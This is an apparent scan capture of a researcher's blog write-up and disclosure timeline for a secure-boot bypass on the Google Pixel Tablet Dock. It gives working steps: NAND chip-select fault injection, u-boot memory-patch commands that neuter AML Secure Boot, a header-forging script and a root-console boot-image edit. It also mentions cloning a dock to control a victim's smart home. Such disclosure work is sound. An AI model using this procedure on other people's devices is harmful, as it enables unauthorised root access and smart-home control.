oddsolutions.github.io Open in urlscan Pro
2606:50c0:8003::153  Public Scan

URL: https://oddsolutions.github.io/Pixel-Tablet-Dock-Secure-Boot-Bypass/
Submission: On November 26 via api from IN — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

ODS SECURITY RESEARCH - NOLEN JOHNSON

Just a guy, breaking your Connected System(s), sometimes intentionally.

Blog About


PIXEL TABLET DOCK (KORLAN) SECURE BOOT BYPASS


#HARDPWN-NL-2023 - KORLAN-SECURE-BOOT-BYPASS

A chain of two exploits intended to allow one to run a custom OS/unsigned code
on the Google Pixel Tablet Dock (korlan).

Security researchers Nolen Johnson (npjohnson) and Jan Altensen (Stricted)
developed this chain of vulnerabilities as a group effort.

The injection vector, as well as the ability to bypass AMLogic (AML) Secure Boot
seem to affect multiple other Nest devices.


STANDARD DISCLAIMER

You are solely responsible for any potential damage(s) caused to your device by
this exploit.


WHITEPAPER


BACKGROUND

Jan and I previously bypassed secure boot on the Chromecast with Google TV 4K
(sabrina) and the Chromecast with Google TV 1080P (boreal) in 2021 and 2023
respectively.

After the boreal vulnerabilities were submitted and triaged, Google’s VRP team
offered to sponsor Jan and I to attend hardwear.io 2023 in The Hauge,
Netherlands to attend and participate in the HardPWN competition!

HardPWN is an amazing competition where sponsoring OEM’s (Original Equipment
Manufacturer) provides devices to hardware researchers who spend the entire week
in a caffeine fueled haze hacking away at them. They also often have developer
staff present to help answer researcher questions and triage issues live.

We chose the Pixel Tablet Dock, as it seemed very complex for what it ultimately
does. We were also very curious about what attack vectors were feasible on it.

Google provided us with several Docks (and their accompanying Pixel Tablets!),
kernel/modules/u-boot source code, firmware packages, and access to developers
who worked on the development of the Pixel Tablet Dock.

This product is super fun, as it was clearly originally built to do so much more
than what it ended up being capable of in production. Ultimately, the scope of
the project was reduced to the point that all it does is:

 * Play music through a speaker over USB Protobuf communication
 * Houses a device-ID that the Pixel Tablet recognizes to put the tablet into
   “Hub Mode”, which exposes smart home controls without lock-screen
   authentication (which is fun!)
 * Charge the Pixel Tablet


A FAMILIAR (BUT NOTABLY DIFFERENT) INJECTION VECTOR

Firstly, we need an access venue to u-boot, or a similarly privileged injection
vector.

UART was easy to identify, and this device utilizes an AML A113D chipset, which
uses the standard AML G12 SoC baud rate of 115200.

Unfortunately, Google has hardened both useful access venues UART offered
previously:

 * u-boot’s CONFIG_AUTOBOOT_DELAY is set to -2, which should prevent us from
   interrupting the boot sequence to access a u-boot shell over serial (more on
   that later…)
 * Android’s console service is not started, and we have no privileged venue
   from which to start it, so we can’t access an Android shell over serial
   either

Good news, we had been around this block before on boreal, but this was a NAND
device, not an eMMC device, so we knew that the injection vector would likely
look different.

After some hours of mapping out pins with a logic analyzer, and blindly probing,
we discovered by shorting SCK (effectively interrupting the NAND Clock
configuration) at the right time, the device would drop us into a u-boot shell.

Specifically, SCK should be shorted once for roughly two seconds right after the
following message:

scanning usb for storage devices... 0 Storage Device(s) found
       scanning bus 0 for devices... 1 USB Device(s) found


We sometimes saw the UART message NEVER BE HERE come out of BL2. This is both
comical, and implies that we were shorting the pin too soon (likely due to the
mass amounts of caffeine in our systems),

A significant delay follows this message before the boot process proceeds, so
the timing is much more reliable than the fault injection method we reported
previously on boreal utilizing the D5 eMMC line. However, unlike boreal, due to
differences in how NAND is initialized versus eMMC, the NAND device was not
detected and appeared to be in a non-recoverable state after performing this
fault injection.

We then worked to find a way to maintain NAND functionality after performing the
glitch, ultimately finding that by holding the Chipselect (CS#) to high at the
same message shown above, we could reliably get the device to glitch and fall
back to u-boot shell, while keeping the NAND alive, and in a state in which we
can interact with it.

A pinout of the board and docking daughterboard can be seen below:



After we got reliable u-boot shell access, we checked if the env partition could
be persistently edited, and much like on boreal, it could not, as u-boot
appeared to reset it every boot.

We initially thought that the device would be reasonably easy to unlock from
here - little did we know what was in store for us.


OH WOW, THERE IS NO ANDROID VERIFIED BOOT

Upon further inspection, the device runs CastOS, which is Google’s
smart-things/IoT OS.

We then looked for the typical markers identifying a device that implements
Android Verified Boot but found almost no signs of it. There was no DM or FS
Verity and no Android-style boot image verification.

This briefly confused us until we tried to dump the boot image from the NAND
into memory utilizing u-boot and got unintelligible, encrypted data with a
weirdly formatted header.


AML SECURE BOOT VERSUS ANDROID VERIFIED BOOT

As it turns out, Google commonly doesn’t utilize AVB on AML-based
smart-things/IoT devices. Rather, they often rely on vendor-provided
conventions; in this case, AML Secure Boot.

AVB largely relies on certificate/signature-based chain-of-trust, whereas AML
Secure Boot relies far more on encryption/decryption as the integrity check.

Instead of checking if the images are signed, it instead checks if the stored
key is capable of decrypting the image. If it is decryptable, it must be valid,
as the key utilized to encrypt it is private. If it does not successfully
decrypt, it must not be valid.

AML Secure Boot is enforced by the BootROM on BL2, then subsequently by BL2 on
BL33 (u-boot), and finally by BL33 on the boot image.


EXTRACTING UNENCRYPTED FIRMWARE IMAGE

At this point we needed a static copy of BL33 (u-boot), the boot image, and
ideally the recovery image, but dumping these from the NAND proved useless, as
AML secure-boot ensures they are encrypted.

Google provided us a full OTA Image and a Factory Image, but u-boot.bin (OTA
image) bl2.img (Factory Image), boot.img, and recovery.img are all encrypted, as
is evident by their AML Secure Boot headers.

We then began blindly dumping memory using md.b 0x50000, and at 0x0, we
immediately recognized a u-boot header. We then dumped the entirety of u-boot
using md.b, saved the serial console capture, stripped it to just contain the
md.b output, and used uboot-mdb-dump to reassemble it on the attached host
device.

At this point, we were presented with a conundrum: u-boot would only decrypt the
boot/recovery images when the device was typically booted via the bootm command.
But by running bootm we would execute the kernel and become unable to dump the
loaded boot image from memory.

So, we opted to drop the extracted u-boot into IDA Pro and calculate the offsets
of the functions that make bootm actually boot Linux after loading and NOP them
out, effectively making bootm exit and not reset upon failing to boot the kernel

# Make `bootm` `return 0;` unconditionally right before the Linux kernel would be executed
mw 0x4e2c 1400002a
# Allow us to interrupt the next warm-reset of u-boot
setenv bootdelay 3
# Ensure the bootdelay change takes effect
saveenv


After patching u-boot, we then jump to u-boot’s base address to effectively
warm-reset u-boot with our modifications by running:

go 0x0


Then, because we set the bootdelay variable above, we were able to interrupt
boot at u-boot, and ran the following to mock-load the boot and recovery images,
then dump them:

imgread kernel recovery 0x01080000
md.b 0x01080000 500
bootm 0x01080000


Awesome, so now we have extracted u-boot, recovery, and boot images.


CREATING A MALICIOUS BOOT IMAGE

Next, we extracted the unencrypted boot image by utilizing unpack_bootimg.py,
extracting the ramdisk, adding a prebuilt armeabi-v7a busybox binary (such as
this one and patching the contained init.rc file to contain the following
service declaration:

service console /sbin/busybox sh
    console
    user root


We also appended start console right after the on fs trigger.

Then we repack the ramdisk, and use mkbootimg to repack the boot image utilizing
the data spit out earlier by the unpack_bootimg.py python script.

Now, even with the boot image edited and persistent access to u-boot shell, AML
Secure Boot is still enforced… or at least it is for now.


MEMORY PATCHING AND FORGING A HEADER OR TWO

So, further static analysis of u-boot in IDA Pro led us to being able to discern
how to effectively neuter AML Secure Boot:

# https://nest-open-source.googlesource.com/manifest_repos/u-boot/+/32f2544bf313f8ca4c6026c2ea8bbba41057be35/cmd/bootm.c#176
# replace aml_sec_boot_check with a NOP, will cause "nRet" to be not zero
# ```
#  else {
#    iVar7 = 0x51;
#  }
#  if (iVar7 != 0) {
# ```
mw 0x4e28 d503201f

# https://nest-open-source.googlesource.com/manifest_repos/u-boot/+/32f2544bf313f8ca4c6026c2ea8bbba41057be35/cmd/bootm.c#228
# - if (nRet) { while (1); }
# + if (!nRet) { while (1); }
mw 0x4e2c 35000120

# Warm-Reset u-boot again
go 0x0


This disables the necessity to have valid AML Secure Boot headers on our boot
image, but still expects that they have a “proper looking” header.

To satiate that, we first we wrote a script to recreate all of the AML Secure
Boot header, except for one key functions:

 * The digest, as it is unecessary after our patches above, and useless for us
   to generate an invalid one.

#!/bin/bash
# header.sh

append_uint32_le() {
    local input=$1
    local output=$2
    local v=
    local vrev=
    v=$(printf %08x $input)
    # 00010001
    vrev=${v:6:2}${v:4:2}${v:2:2}${v:0:2}
    echo $vrev | xxd -r -p >> $output
}
pad_file() {
    local file=$1
    local len=$2
    if [ ! -f "$1" ] || [ -z "$2" ]; then
        echo "Argument error, \"$1\", \"$2\" "
        exit 1
    fi
    local filesize=$(wc -c < ${file})
    local padlen=$(( $len - $filesize ))
    if [ $len -lt $filesize ]; then
        echo "File larger than expected.  $filesize, $len"
        exit 1
    fi
    dd if=/dev/zero of=$file oflag=append conv=notrunc bs=1 \
        count=$padlen >& /dev/null
}
echo -n '@AML1'
imagesize=$(stat --printf="%s" boot_test.img)
echo -n '@AML2'
remd=$(( $imagesize % 512 ))
echo -n '@AML3'

input=boot_test.img
if [ $remd -ne 0 ]; then
echo -n '@AML4'
    #echo "Input $input not 512 byte aligned?"
    topad=$(( 512 - $rem ))
    imagesize=$(( $imagesize + $topad ))
    cp boot_test.img kernpad.bin
    pad_file kernpad.bin $imagesize
    input=kernpad.bin
fi
echo -n '@AML5'
openssl dgst -sha256 -binary $input > kern-pl.sha
echo -n '@AML6'
echo -n '@AML' > kern.hdr
append_uint32_le 4 kern.hdr
append_uint32_le 0 kern.hdr
append_uint32_le 0 kern.hdr
# img_size, img_offset, img_hash, reserved
append_uint32_le $imagesize kern.hdr
append_uint32_le 512 kern.hdr
cat kern-pl.sha >> kern.hdr
pad_file kern.hdr 256

#openssl dgst -sha256 -out kern.hdr.sig kern.hdr

#cat kern.hdr.sig >> kern.hdr

pad_file kern.hdr 512


At this point, we are ready to prepend our newly generated AML Secure Boot
header and recreate our boot image.

#!/bin/bash
# mk_boot.sh

cat kern.hdr boot_test.img > boot.tmp

imagesize=$(stat --printf="%s" boot.tmp)
paddingsize=$(( 12582912 - $imagesize ))
dd if=/dev/zero ibs=1 count=$paddingsize | LC_ALL=C tr "\000" "\377" >padding_boot.bin

cat bootloader.bin junk.bin tpl.bin fts.bin factory.bin recovery.bin boot.tmp padding_boot.bin system.bin cache.bin > nand_test.bin


Now, we’re ready to actually install this boot image to the device, but, how to
go about it?


GETTING SOMETHING ONTO THE DEVICE

Originally, we tried to execute fastboot from within u-boot, but we couldn’t get
reliable communications on either USB0 or USB1. Given the tight timeline of the
competition, we went the nuclear route and desoldered the NAND, dropping it into
a NAND flash reader, and then wrote it by hand. Post-competition we ultimately
ended up adapting a method similar to what we did on boreal.

We hooked up a powered USB hub to the USB0 bus, with a FAT32 drive attached that
had our modified boot image on the filesystem. We then fatload to pull the
modified boot image from the USB into ram (loadaddr), and then utilized store to
write it to the boot partition.


BOOTING AFFORMENTIONED MALICIOUS BOOT IMAGE

Once we have the malicious boot image installed and in place, we can then
perform the fault-injection one final time, and then re-run the AML Secure Boot
disable memory edit commands and re-execute u-boot:

mw 0x4e28 d503201f # Patch AML Secure Boot [1/2]
mw 0x4e2c 35000120 # Patch AML Secure Boot [2/2]
# Allow us to interrupt the next warm-reset of u-boot
setenv bootdelay 3
# Ensure the bootdelay change takes effect
saveenv
# Warm-Reset u-boot again
go 0x0


At this point the device will fully boot with a root console presented!


PLUGGING IT ALL TOGETHER

Here is a serial capture of the full chain plugged together after writing the
modified boot image to the NAND:

TE: 29736

100bdlr_step_size ps== 475
BL31:tsensor calibration: 0xc6000043

detect upgrade key not pressed
FTS read: usb_controller_type -> 
mtd_store_read 564 mtd read err, ret -110
Err imgread(L437):Fail to read 0x100000B from part[boot] at offset 0
try upgrade as booting failure
GPIOH_6: not found
PHY2=0xfe004420
noSof
sof timeout, reset usb phy tuning
starting USB...
USB0:   GPIOH_6: not found
Register 1000140 NbrPorts 1
Starting the controller
USB XHCI 1.00
scanning bus 0 for devices... 1 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found

korlan_bx# mw 0x30edc d503201f
korlan_bx# go 0x0

## Starting application
detect upgrade key not pressed
FTS read: usb_controller_type -> 
mtd_store_read 564 mtd read err, ret -110
Err imgread(L508):Fail to read 0x644a00B from part[boot] at offset 0x100000
try upgrade as booting failure
GPIOH_6: not found
PHY2=0xfe004420
noSof
sof timeout, reset usb phy tuning
starting USB...
USB0:   GPIOH_6: not found
Register 1000140 NbrPorts 1
Starting the controller
USB XHCI 1.00
scanning bus 0 for devices... 1 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found

korlan_bx# setenv bootargs console=ttyS0,115200 earlycon=aml-uart,0xfe002000 rootfstype=ramfs init=/init no_console_suspend quiet loglevel=7 ramoops.pstore_en=1 ramoops.record_size=0x8000 ramoops.console_size=0x4000 selinux=1 enforcing=0 nousb nooverlayfs ${bootargs}
korlan_bx# boot

[    0.000000@0] Booting Linux on physical CPU 0x0000000000 [0x410fd042]
[    0.000000@0] Linux version 4.19.219-g7ef11940e2f9 (user@host) (Chromium OS 14.0_pre445002_p20220217-r12 clang version 14.0.0 (/var/tmp/portage/sys-devel/llvm-14.0_pre445002_p20220217-r12/work/llvm-14.0_pre445002_p20220217/clang 18308e171b5b1dd99627a4d88c7d6c5ff21b8c96)) #0 SMP PREEMPT Mon Oct 31 15:27:49 2022 (7ef11940)
[    0.000000@0] Machine model: Google Korlan B4 Board
[    0.000000@0] earlycon: aml-uart0 at MMIO 0x00000000fe002000 (options '')
[    0.000000@0] bootconsole [aml-uart0] enabled
[    0.000000@0] 	03d00000 - 04000000,     3072 KB, linux,secos
[    0.000000@0] 	07400000 - 07500000,     1024 KB, ramoops@0x07400000
...
[    4.441941@1] UBIFS (ubi7:0): media format: w5/r0 (latest is w5/r0), UUID 9BC54E28-D6AE-4B54-94F4-8B2496355FA6, small LPT model
ubi7:cache /cache ubifs rw,nosuid,nodev,noexec,noatime,assert=read-only,ubi=7,vol=0 0 0
/cache is already mounted
Could not get context of /cache/recovery:  No data available
SELinux is disabled.
ifconfig: ioctl 8913: No such device
Update boot id is running.
Initializing random number generator...
console#


Take note that we also edited the bootargs to make the Linux kernel a bit more
chattier over UART, but you could just as well let the device boot up after
running go 0x0.

At this point you have full root access to the booted CastOS image!

On boot, you’ll need to perform the fault injection on the CS# pin and patch the
AML Secure Boot checks to continue boot, as AML Secure Boot still hasn’t been
persistently bypassed (yet… stay tuned… maybe)


WHERE TO GO FROM HERE? WHAT CAN WE DO?

At this point, you have tethered local root access to the Pixel Tablet Dock, and
can change out the CastOS firmware image for another OS, rebuild and modify the
kernel, etc.

You can also utilize this chain to clone someone’s dock, and then utilize Hub
Mode on their Pixel Tablet to control their smart home devices without
authentication.

This device also has two USB buses that can be used for whatever you please.
They’re annotated in the pin-out shown earlier.

If you want to boot an AML formatted USB boot image with a powered hub connected
to USB0, you can run:

mw 0x4e30 d503201f # Patch USB image checks out
setenv bootdelay 3
saveenv
go 0x0
[Interrupt u-boot via UART]
run recovery_from_udisk


Note: We were unable to get fastboot working over these USB ports. Man, that
would have made injection of the boot image easier! Reach out if you’re able to
do so!

You can also remove the DM-Verity checks on the system partition by removing the
only entry in dmtable in the ramdisk.

It also might be fun to see if anyone could get Fuscia booting on this board!
Please reach out to us if you are able to do anything fun with this exploit
chain - we’d love to hear about your adventures and chat about Product Security.

A collection of all our knowledge on this deivce, as well as resources to
utilize this chain of exploits can be found here.


DISCLOSURE TIMELINE

 * 02-NOV-2023 - Initial report sent to Google.
 * 14-DEC-2023 - Additional details disclosed, with full POC.
 * 24-JAN-2024 - We notified Google that we would be demoing part of this
   exploit-chain at NullCon Berlin 2024 in a talk entitled “Fault Injection and
   the Supply Chain”.
 * 31-JAN-2024 - Google says they’ve “completed a fix for the vulnerability and
   it’s in the testing phase” and announces that it was rated a “Moderate”
   vulnerability and was rewarded $500.
 * 06-MAR-2024 - We provided a reminder about the NullCon talk, and asked for
   the ticket to be re-reviewed.
 * 08-MAR-2024 - Google announces that a CVE identifier will be assigned, and
   that the ticket was split up. Additionally, the following snippet was
   provided:

“Our team has thoroughly reviewed your report and confirmed that the reported
vulnerability utilizes a previously reported exploit. In addition, this
vulnerability doesn’t expose high-value assets nor pose a significant risk due
to the limitations of a physical attack.”

 * We have a few issues with this statement:
   
   * We disagree with the nature of the chain of vulnerabillities being
     designated as a previously reported exploit. This is not eMMC fault
     injection in u-boot by shorting an eMMC data-line pin, like as we reported
     on boreal.
     
     This is distinct, it is still a type of fault injection, but is performed
     by pulling the Chip-select (CS#) pin to high utilizing the VCC pin at a
     strategic time, which allows the user to gain u-boot shell.
   
   * We only selected this asset as it was provided as a target for the HardPWN
     competition. To deem a flagship target of the competition as a
     non-high-value asset, and then rate hardware-based attacks lower is
     somewhat confusing.

Ultimately we respect the decisions, and are very grateful that Google supported
our research of their devices and sponsored us to attend this wonderful
conference. We look forward to working on Google devices in the future but do
hope that expectations and that the ratings and criticality matrixes is more
clearly defined in the future.

 * 11-APR-2024 - We ask for a follow-up, and receive a response that work is
   still in progress.
 * 16-MAY-2024 - We ask for a follow-up, and receive a response that work is
   still in progress.
 * 21-MAY-2024 - We follow up stating that we plan to release the writeup and
   resources on 30-JUN-2024, as the vulnerability had supassed the original
   disclosure timeline. We received a response that the issue still being a work
   in progress.
 * 11-JUN-2024 - We sent a reminder of the upcoming release date and asked for
   updates regarding the CVE identifiers.
 * 12-JUN-2024 - Google states that their remediation timeline has slipped and
   will now push into Q3.
 * 20-JUN-2024 - We share the proposed writeup with Google.
 * TBA - The vulnerability patch was deployed via an OTA update delivered
   through the Pixel Tablet.


CVE TRACKING

CVE-2024-TBA - NAND Fault Injection


CREDITS

 * Nolen Johnson (npjohnson), Jan Altensen (Stricted): Theorizing, developing,
   and chaining together these vulnerabilities into an exploit chain.


SPECIAL THANKS

 * Angelina Sosa and the VRP team: The opportunity to work on Google hardware,
   sponsorship to attend the Hardwear.io conference, and the awesome events at
   the conference. We greatly appreciate the team, the opportunities they
   provide us, and look forward to working with them in the future.
 * Dennis Giese - Per our agreement, he provided specialized (super awesome)
   breakout boards, and I am now obliged to refer to him as the “greatest person
   of all time, ever”
 * tihmstar - Helping us figure out some u-boot memory patching issues, then
   burning out our first korlan board and silently walking away lol


CONTRIBUTE TO FOSS DEVELOPMENT ON THIS DEVICE

 * Manifest:
   https://nest-open-source.googlesource.com/manifests/+/refs/heads/main/pixel_tablet_speaker_dock/

Written on June 30, 2024

Please enable JavaScript to view the comments powered by Disqus.